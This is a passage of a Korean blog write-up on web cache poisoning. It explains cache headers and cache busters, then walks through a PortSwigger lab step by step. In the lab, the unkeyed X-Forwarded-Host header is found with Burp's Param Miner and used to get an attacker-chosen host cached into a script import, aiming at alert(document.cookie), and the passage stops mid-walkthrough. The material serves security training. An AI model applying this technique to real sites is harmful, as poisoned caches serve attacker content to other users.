&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;hit: 응답이 캐시에서 제공되었음을 의미합니다. (백엔드 도달 X)&lt;/li&gt;
&lt;li&gt;miss: 응답이 원본 서버(백엔드)에서 왔음을 의미합니다.(백엔드 도달 O)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;ex)&amp;nbsp;응답&amp;nbsp;헤더(Response&amp;nbsp;Header)&lt;/b&gt; &lt;br /&gt;Cache-Control:&amp;nbsp;max-age=30&amp;nbsp;-&amp;gt;&amp;nbsp;30초&amp;nbsp;동안&amp;nbsp;캐시를&amp;nbsp;유지합니다. &lt;br /&gt;Age:&amp;nbsp;0&amp;nbsp;-&amp;gt;&amp;nbsp;캐시&amp;nbsp;된&amp;nbsp;시간을&amp;nbsp;나타냅니다.&amp;nbsp; &lt;br /&gt;X-Cache:&amp;nbsp;miss&amp;nbsp;-&amp;gt;&amp;nbsp;백엔드&amp;nbsp;서버&amp;nbsp;도달&amp;nbsp;O &lt;br /&gt;&lt;br /&gt;Cache-Control:&amp;nbsp;max-age=30&amp;nbsp;-&amp;gt;&amp;nbsp;30초&amp;nbsp;동안&amp;nbsp;캐시를&amp;nbsp;유지합니다. &lt;br /&gt;Age:&amp;nbsp;5&amp;nbsp;-&amp;gt;&amp;nbsp;캐시&amp;nbsp;된&amp;nbsp;지&amp;nbsp;5초&amp;nbsp;지났음을&amp;nbsp;의미합니다.&amp;nbsp; &lt;br /&gt;X-Cache:&amp;nbsp;hit&amp;nbsp;-&amp;gt;&amp;nbsp;백엔드&amp;nbsp;서버&amp;nbsp;도달&amp;nbsp;X &lt;br /&gt;&lt;br /&gt;&lt;b&gt;-&amp;nbsp;캐시&amp;nbsp;버스터(Cache&amp;nbsp;Buster) &lt;/b&gt;&lt;br /&gt;웹&amp;nbsp;브라우저나&amp;nbsp;프록시&amp;nbsp;서버가&amp;nbsp;이전에&amp;nbsp;저장된&amp;nbsp;캐시를&amp;nbsp;사용하지&amp;nbsp;않고&amp;nbsp;서버로부터&amp;nbsp;최신&amp;nbsp;버전의&amp;nbsp;리소스를&amp;nbsp;강제로&amp;nbsp;받도록&amp;nbsp;하는&amp;nbsp;기술을&amp;nbsp;말합니다.&amp;nbsp;캐시&amp;nbsp;포이즈닝&amp;nbsp;공격을&amp;nbsp;테스트할&amp;nbsp;때&amp;nbsp;실제&amp;nbsp;운영&amp;nbsp;중인&amp;nbsp;페이지가&amp;nbsp;오염되면&amp;nbsp;다른&amp;nbsp;사용자에게&amp;nbsp;피해가&amp;nbsp;발생할&amp;nbsp;수&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;?test=1234와&amp;nbsp;같이&amp;nbsp;임의의&amp;nbsp;파라미터를&amp;nbsp;추가해서&amp;nbsp;별도의&amp;nbsp;캐시&amp;nbsp;키를&amp;nbsp;생성해서&amp;nbsp;사용합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;b&gt;[캐시&amp;nbsp;버스터&amp;nbsp;사용&amp;nbsp;X]&lt;/b&gt; &lt;br /&gt;테스트하는&amp;nbsp;사람&amp;nbsp;-&amp;gt;&amp;nbsp;/&amp;nbsp;+&amp;nbsp;캐시&amp;nbsp;포이즈닝&amp;nbsp;공격 &lt;br /&gt;타&amp;nbsp;사용자&amp;nbsp;-&amp;gt;&amp;nbsp;메인&amp;nbsp;홈페이지(/)&amp;nbsp;접속&amp;nbsp;시&amp;nbsp;캐시&amp;nbsp;포이즈닝으로&amp;nbsp;인한&amp;nbsp;공격&amp;nbsp;영향받음. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;[캐시&amp;nbsp;버스터&amp;nbsp;사용&amp;nbsp;O]&lt;/b&gt; &lt;br /&gt;테스트하는&amp;nbsp;사람&amp;nbsp;-&amp;gt;&amp;nbsp;/?test=1234&amp;nbsp;+&amp;nbsp;캐시&amp;nbsp;포이즈닝&amp;nbsp;공격 &lt;br /&gt;타&amp;nbsp;사용자&amp;nbsp;-&amp;gt;&amp;nbsp;메인&amp;nbsp;홈페이지(/)&amp;nbsp;접속&amp;nbsp;시&amp;nbsp;캐시&amp;nbsp;포이즈닝&amp;nbsp;공격으로&amp;nbsp;인한&amp;nbsp;공격&amp;nbsp;영향&amp;nbsp;안&amp;nbsp;받음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 사이트에 접속하여 문제를 확인합니다. 해당 LAB은 unkeyed 헤더의 입력을 안전하지 않은 방식으로 처리를 하고 있어 웹 캐시 포이즈닝 취약점이 존재한다고 합니다. 문제를 해결하기 위해선 방문자의 브라우저에서 캐시 포이즈닝 공격을 통해 alert(document.cookie)가 실행 되도록 해야 한다는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1_문제확인.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UF3Yg/dJMcadu2orn/4fjBAe4ALPXesk21u8B6G1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UF3Yg/dJMcadu2orn/4fjBAe4ALPXesk21u8B6G1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UF3Yg/dJMcadu2orn/4fjBAe4ALPXesk21u8B6G1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUF3Yg%2FdJMcadu2orn%2F4fjBAe4ALPXesk21u8B6G1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;436&quot; data-filename=&quot;1_문제확인.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;LAB의&amp;nbsp;접속했을&amp;nbsp;때의&amp;nbsp;요청&amp;nbsp;및&amp;nbsp;응답을&amp;nbsp;Burp&amp;nbsp;Suite를&amp;nbsp;사용해&amp;nbsp;취득하여&amp;nbsp;확인해&amp;nbsp;보면&amp;nbsp;응답&amp;nbsp;헤더에&amp;nbsp;Cache-Control,&amp;nbsp;Age,&amp;nbsp;X-Cache&amp;nbsp;헤더가&amp;nbsp;있는&amp;nbsp;것을&amp;nbsp;확인합니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2_burp 리피터를 통해 홈 페이지 접속할때의 Request ,Response 확인.png&quot; data-origin-width=&quot;1197&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbDogv/dJMcab47BpX/1QMEtPpA6doNvvWdcpzXo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbDogv/dJMcab47BpX/1QMEtPpA6doNvvWdcpzXo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbDogv/dJMcab47BpX/1QMEtPpA6doNvvWdcpzXo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcbDogv%2FdJMcab47BpX%2F1QMEtPpA6doNvvWdcpzXo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;388&quot; data-filename=&quot;2_burp 리피터를 통해 홈 페이지 접속할때의 Request ,Response 확인.png&quot; data-origin-width=&quot;1197&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실제&amp;nbsp;캐시를&amp;nbsp;오염시키면&amp;nbsp;타&amp;nbsp;사용자에게&amp;nbsp;피해가&amp;nbsp;발생할&amp;nbsp;수&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;테스트를&amp;nbsp;할&amp;nbsp;때&amp;nbsp;캐시&amp;nbsp;버스터(Cache&amp;nbsp;Buster)를&amp;nbsp;사용합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3_실제캐시를 오염시키지 않기 위해 캐시버스터를 사용.png&quot; data-origin-width=&quot;1199&quot; data-origin-height=&quot;545&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EGarc/dJMcacwdLFQ/F51Yz0SmFgWJjbQEE7XYC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EGarc/dJMcacwdLFQ/F51Yz0SmFgWJjbQEE7XYC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EGarc/dJMcacwdLFQ/F51Yz0SmFgWJjbQEE7XYC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEGarc%2FdJMcacwdLFQ%2FF51Yz0SmFgWJjbQEE7XYC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;386&quot; data-filename=&quot;3_실제캐시를 오염시키지 않기 위해 캐시버스터를 사용.png&quot; data-origin-width=&quot;1199&quot; data-origin-height=&quot;545&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;캐시&amp;nbsp;버스터를&amp;nbsp;사용해서&amp;nbsp;요청을&amp;nbsp;보낸&amp;nbsp;뒤&amp;nbsp;캐시가&amp;nbsp;유지되는&amp;nbsp;시간인&amp;nbsp;30초&amp;nbsp;이내에&amp;nbsp;동일한&amp;nbsp;경로와&amp;nbsp;파라미터로&amp;nbsp;다시&amp;nbsp;요청을&amp;nbsp;해보면&amp;nbsp;캐시&amp;nbsp;된&amp;nbsp;시간인&amp;nbsp;Age가&amp;nbsp;1초&amp;nbsp;지났다는&amp;nbsp;것과&amp;nbsp;X-Cache가&amp;nbsp;hit이기&amp;nbsp;때문에&amp;nbsp;캐시가&amp;nbsp;정상적으로&amp;nbsp;동작하고&amp;nbsp;있음을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4_30초 이내 요청 보내면 hit 뜸.png&quot; data-origin-width=&quot;1195&quot; data-origin-height=&quot;536&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IIKxI/dJMcahK3rx3/SAwjqbcRDe1B1gg2y658f1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IIKxI/dJMcahK3rx3/SAwjqbcRDe1B1gg2y658f1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IIKxI/dJMcahK3rx3/SAwjqbcRDe1B1gg2y658f1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIIKxI%2FdJMcahK3rx3%2FSAwjqbcRDe1B1gg2y658f1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;381&quot; data-filename=&quot;4_30초 이내 요청 보내면 hit 뜸.png&quot; data-origin-width=&quot;1195&quot; data-origin-height=&quot;536&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제에서 unkeyed 헤더로 인한 취약점 있다고 명시해 줬기 때문에 unkeyed 헤더를 찾기 위해 Burp Extension에서 제공하는 Param Miner를 사용합니다.(커뮤니티 버전도 무료 다운로드 가능합니다.) Proxy &amp;gt; HTTP history에서&amp;nbsp;&amp;nbsp;/?test=1234 경로로 접근할 때의 요청에 마우스를 올리고 우클릭 &amp;gt; Extensions &amp;gt; Param Miner &amp;gt; Guess headers를 클릭합니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+)&amp;nbsp;Param&amp;nbsp;Miner를&amp;nbsp;사용하지&amp;nbsp;않고&amp;nbsp;수동으로도&amp;nbsp;테스트가&amp;nbsp;가능합니다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;5_paramMiner 사용.png&quot; data-origin-width=&quot;1199&quot; data-origin-height=&quot;555&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uj1cB/dJMcaarC7p5/Q1YuCodHOHix67t2sZPkGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uj1cB/dJMcaarC7p5/Q1YuCodHOHix67t2sZPkGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uj1cB/dJMcaarC7p5/Q1YuCodHOHix67t2sZPkGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fuj1cB%2FdJMcaarC7p5%2FQ1YuCodHOHix67t2sZPkGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;393&quot; data-filename=&quot;5_paramMiner 사용.png&quot; data-origin-width=&quot;1199&quot; data-origin-height=&quot;555&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Attack&amp;nbsp;Config&amp;nbsp;창이&amp;nbsp;화면에&amp;nbsp;보이면&amp;nbsp;poison&amp;nbsp;only에&amp;nbsp;체크하고&amp;nbsp;ok를&amp;nbsp;클릭합니다.&amp;nbsp;(poison&amp;nbsp;only&amp;nbsp;옵션은&amp;nbsp;캐시&amp;nbsp;포이즈닝&amp;nbsp;취약점을&amp;nbsp;집중적으로&amp;nbsp;찾아내도록&amp;nbsp;설정하는&amp;nbsp;옵션입니다.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;6_포이즌 온리 설정 후 ok 클릭.png&quot; data-origin-width=&quot;1571&quot; data-origin-height=&quot;813&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cIVyyc/dJMcagk22tv/jBYl0J4xsdAG47VOan1kH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cIVyyc/dJMcagk22tv/jBYl0J4xsdAG47VOan1kH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cIVyyc/dJMcagk22tv/jBYl0J4xsdAG47VOan1kH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcIVyyc%2FdJMcagk22tv%2FjBYl0J4xsdAG47VOan1kH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1571&quot; height=&quot;813&quot; data-filename=&quot;6_포이즌 온리 설정 후 ok 클릭.png&quot; data-origin-width=&quot;1571&quot; data-origin-height=&quot;813&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Burp의 Extensions &amp;gt; Installed 탭에 들어가서 아래의 Output을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;7_extension 탭에 들어가서 output 확인.png&quot; data-origin-width=&quot;1448&quot; data-origin-height=&quot;731&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wVSEf/dJMcacJLdz7/P2eB290eXUDqdCkFmJvqk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wVSEf/dJMcacJLdz7/P2eB290eXUDqdCkFmJvqk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wVSEf/dJMcacJLdz7/P2eB290eXUDqdCkFmJvqk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwVSEf%2FdJMcacJLdz7%2FP2eB290eXUDqdCkFmJvqk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1448&quot; height=&quot;731&quot; data-filename=&quot;7_extension 탭에 들어가서 output 확인.png&quot; data-origin-width=&quot;1448&quot; data-origin-height=&quot;731&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시간이 지나면 unkeyed인 헤더를 찾을 수 있으며 X-Forwarded-Host 헤더가 unkeyed 헤더인 것을 알아냅니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;8_unkeyed인 헤더 발견.png&quot; data-origin-width=&quot;1901&quot; data-origin-height=&quot;385&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pF1gp/dJMcahxwlWO/dDkDCbjc5lPFv8m0MR8Grk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pF1gp/dJMcahxwlWO/dDkDCbjc5lPFv8m0MR8Grk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pF1gp/dJMcahxwlWO/dDkDCbjc5lPFv8m0MR8Grk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpF1gp%2FdJMcahxwlWO%2FdDkDCbjc5lPFv8m0MR8Grk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1901&quot; height=&quot;385&quot; data-filename=&quot;8_unkeyed인 헤더 발견.png&quot; data-origin-width=&quot;1901&quot; data-origin-height=&quot;385&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Burp Suite의 Repeater 기능을 이용하여 /?test=1234에 요청을 보낼 때 요청 헤더에 unkeyed 헤더인 X-Forwarded-Host를 삽입하고 헤더 값은 임의의 값으로 설정하여 요청을 보냅니다. 이후 응답을 확인해 보면 js 파일을 가져올 때 host 부분이 X-Forwarded-Host에 입력했던 헤더 값(임의의 값)으로 되어 있는 것을 확인할 수 있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+)&amp;nbsp;이때의&amp;nbsp;X-Cache는&amp;nbsp;miss입니다. &lt;br /&gt;X-Forwarded-Host 헤더가 백엔드에서 처리되기 때문에 응답에 반영되며 이것이 캐시에 저장됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;9_헤더에 임의값 넣고 테스트하면 응답에 입력값이 반영되고 있음을 확인.png&quot; data-origin-width=&quot;1194&quot; data-origin-height=&quot;567&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ucrsh/dJMcaf0Jojr/WP4cpcB94GtaFKaX1ryZB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ucrsh/dJMcaf0Jojr/WP4cpcB94GtaFKaX1ryZB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ucrsh/dJMcaf0Jojr/WP4cpcB94GtaFKaX1ryZB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fucrsh%2FdJMcaf0Jojr%2FWP4cpcB94GtaFKaX1ryZB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;404&quot; data-filename=&quot;9_헤더에 임의값 넣고 테스트하면 응답에 입력값이 반영되고 있음을 확인.png&quot; data-origin-width=&quot;1194&quot; data-origin-height=&quot;567&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;캐시가&amp;nbsp;만료되기&amp;nbsp;전에&amp;nbsp;웹&amp;nbsp;페이지&amp;nbsp;URL&amp;nbsp;주소창에&amp;nbsp;/?test=1234&amp;nbsp;을&amp;nbsp;입력하여&amp;nbsp;접근합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;10_캐시 수명 다 되기 전에 저장된 캐시 키 값에 접근.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cteXo3/dJMb99TLAWB/9Esuo6BYefdN2S8wEPILv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cteXo3/dJMb99TLAWB/9Esuo6BYefdN2S8wEPILv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cteXo3/dJMb99TLAWB/9Esuo6BYefdN2S8wEPILv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcteXo3%2FdJMb99TLAWB%2F9Esuo6BYefdN2S8wEPILv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;436&quot; data-filename=&quot;10_캐시 수명 다 되기 전에 저장된 캐시 키 값에 접근.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;668&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;접근했을 때의 요청 및 응답을 확인해 보면 X-Forwarded-Host 헤더를 추가하지 않았는데 이전에 입력했던 임의의 값이 host로 들어가는 js 파일을 가져오고 있는 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+)&amp;nbsp;이때의&amp;nbsp;X-Cache는&amp;nbsp;hit입니다. &lt;br /&gt;X-Forwarded-Host&amp;nbsp;헤더가&amp;nbsp;처리된&amp;nbsp;응답이&amp;nbsp;캐시에&amp;nbsp;저장되어&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;캐시&amp;nbsp;된&amp;nbsp;응답을&amp;nbsp;받게&amp;nbsp;됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;11_history탭에 들어가서 보면 접속하니까 사용자 입력값이 캐싱되어있는 것을볼 수 있음..png&quot; data-origin-width=&quot;1195&quot; data-origin-height=&quot;570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bo1wZb/dJMcaiDal0V/7dwKDn2Xotj7PPl2zcmXJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bo1wZb/dJMcaiDal0V/7dwKDn2Xotj7PPl2zcmXJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bo1wZb/dJMcaiDal0V/7dwKDn2Xotj7PPl2zcmXJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbo1wZb%2FdJMcaiDal0V%2F7dwKDn2Xotj7PPl2zcmXJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;405&quot; data-filename=&quot;11_history탭에 들어가서 보면 접속하니까 사용자 입력값이 캐싱되어있는 것을볼 수 있음..png&quot; data-origin-width=&quot;1195&quot; data-origin-height=&quot;570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
